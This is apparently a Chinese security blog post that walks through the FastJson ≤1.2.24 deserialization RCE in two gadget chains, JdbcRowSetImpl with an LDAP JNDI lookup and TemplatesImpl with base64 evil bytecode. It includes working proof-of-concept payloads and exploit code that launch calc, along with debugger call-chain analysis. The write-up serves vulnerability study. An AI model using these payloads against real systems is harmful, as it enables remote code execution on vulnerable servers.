【技術分享】FastJson<=1.2.24RCE雙鏈詳細分析

最近在學習FastJson,阿里這個開源的JSON解析庫,了解到他被頻繁爆出漏洞,于是我做了詳細的fastjson漏洞史分析。本文只涉及<1.2.25版本的RCE的兩種利用方式,后續會補充其他漏洞。
0x01 FastJson簡單使用
序列化是把java對象轉為json字符串,反序列化即為把json字符串轉為java對象,這樣就方便進行傳輸或者存儲。之前有人對比過java序列化、fastjson和jackson等序列化反序列化的速度,fastjson快的同時也帶來一些安全問題。寫一個簡單的例子演示一下反序列化的使用。
//fastjson.javapackage test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;public class fastjson {public static void main(String args[]){ String obj = "{\"@type\":\"test.Student\",\"name\":\"zzZ\",\"age\":111}"; Student obj1 = JSON.parseObject(obj, Student.class, Feature.SupportNonPublicField); System.out.println("name:"+obj1.getName()+"age:"+obj1.getAge()); }}----輸-出-name:zzZage:111//Student.javapackage test;public class Student {public String name;private int age;public String getName() {return name; }public void setName(String name) {this.name = name; }public int getAge() {return age; }public void setAge(int age) {this.age = age; }}
0x02 漏洞由來
fastjson的漏洞主要都是因為AutoType造成的,后續的修復和其他版本的繞過都圍繞此來進行。
fastjson在進行序列化時會掃描目標的get方法,并將字段的值序列化到JSON字符串中。而當一個類中包含了一個接口(或抽象類)的時,在使用fastjson進行序列化的時候,會將其子類型抹去,只保留接口(或抽象類)的類型,這就導致及逆行反序列化時無法得到原始的類型。為了解決這個問題,fastjson在JSON字符串中添加了@type標識(AutoType功能),標注了類對應的原始類型,也就可以在反序列化的時候可以找到具體類型。
在1.2.25之前,AutoType是默認開啟,而且沒有任何防護,我們只需要傳入一個惡意類,配合java反射機制和rmi或者ldap服務就可以實現RCE。在1.2.25中修復,添加了checkAutotype,被繞過后又不斷豐富黑白名單直到今天。我們詳細一點點分析。
0x03 兩條調用鏈分析
利用JdbcRowSetImpl類進行RCE
一、環境搭建
使用IDEA和JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(用來搭建rmi和ldap服務)。
新建maven項目后添加1.2.23版本fastjson的依賴,之后添加com.fj.learnFJ.java。
package com.fj;
import com.alibaba.fastjson.JSON;
public class learnFJ {public static void main(String args[]){String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +" \"autoCommit\":true}";JSON.parse(payload); }}
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建服務。
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1

二、調用分析
首先在JSON.parse(payload)下斷點后運行

跟進后調用parse.parse來解析

因為是左大括號{,所以跳轉到case LBRACE執行,并在1327行調用parseObject()反序列化

進入獲取內容的for循環,并獲得payload中第一個字符’”‘
獲取引號后,獲取其內容@type

之后進行第二個值的獲取,得到類名

將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的類

之后fastjson會在內部處理jdbcrowsetimpl類。我們在JdbcRowSetImpl類setDataSourceName()處下斷點,因為傳入了DataSourceName,所以會進行調用

之后調用抽象父類BaseRowSet的setDataSourceName給dataSource賦值

之后會調用setAutoCommit(),其中調用了connect(),跟進

connect()中調用了look(),這里的getDataSourceName()就是我們傳入的dataSourceName,跟進look看看

調用了getURLOrDefaultInitCtx(name).lookup(),跟進

在getURLOrDefaultInitCtx()內,調用getURLContext()請求ldap服務

之后通過getURLObject()從遠程的ldap服務獲取Context對象

在getURLObject()內調用factory.getObjectInstance(),完成反序列化,調用了payload

完整調用鏈:

利用TemplatesImpl類進行RCE
一、環境搭建
我們使用IDEA搭建即可。
添加maven依賴后,添加Poc.java
//Poc.java
package com.fj;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.maven.surefire.shade.booter.org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;
public class Poc {public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream();try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); }
String result = Base64.encodeBase64String(bos.toByteArray());
return result; }
public static void poc() { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator");String path = "C:\\Users\\xxx\\Desktop\\code\\evil.class";String code = readClass(path);
final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + CLASS +"\",\"_bytecodes\":[\""+code+"\"]," +"'_name':'a.b'," +"'_tfactory':{ }," +"\"_outputProperties\":{ }}"; System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); }
public static void main(String args[]) { poc(); }}
添加evil.java,并用javac編譯為evil.class。
//evil.java
package com.fj;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;
public class evil extends AbstractTranslet{public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { }public evil() throws IOException { Runtime.getRuntime().exec("calc"); }public static void main(String[] args) throws IOException { evil obj = new evil(); }}
運行后彈出計算器。

二、調用分析
對于TemplatesImpl的payload,在高版本java中要開啟Feature.SupportNonPublicField才能對非共有屬性的反序列化處理,因此存在一定限制,而之前第一種方法中JdbcRowSetImpl利用幾乎無限制。接下來簡單分析下TemplatesImpl鏈的調用。
在parseObject()下斷點后調式

跟第一種一樣進入deserializer.deserialze() 進行反序列化

之后進入parseField()對json字符串中的一些key值進行匹配

在parseField()中調用smartMatch()對key值進行處理

之后進入fieldDeserializer.parseField()

在fieldDeserializer.parseField()中調用了setValue(),跟進

setValue()中method內方法為getOutputProperties(),并在后面通過反射機制調用,進入TemplatesImpl類


getOutputProperties()內調用newTransformer()會創建Transformer實例,我們跟進

在內部會調用getTransletInstance()創建實例之后返回給上層函數,我們跟進

在getTransletInstance()內,調用defineTransletClasses()遍歷_bytecodes數組(判斷是byte[]數組會自動base64解碼,所以poc里需要進行base64編碼),之后調用(AbstractTranslet) _class[_transletIndex].newInstance()實例化類,類定義的是靜態方法,執行觸發payload

0x04 結語
上面詳細跟蹤了兩條鏈的利用方式,相信對于 <1.2.25漏洞的利用已經非常清楚了。
這次的漏洞修復方式是默認關閉AutoType的支持,添加了checkAutotype來判斷是否符合要求,并添加了白名單和黑名單來防護AutoType是開啟的情況。在之后又出現了各種繞過的姿勢,下篇文章繼續分析。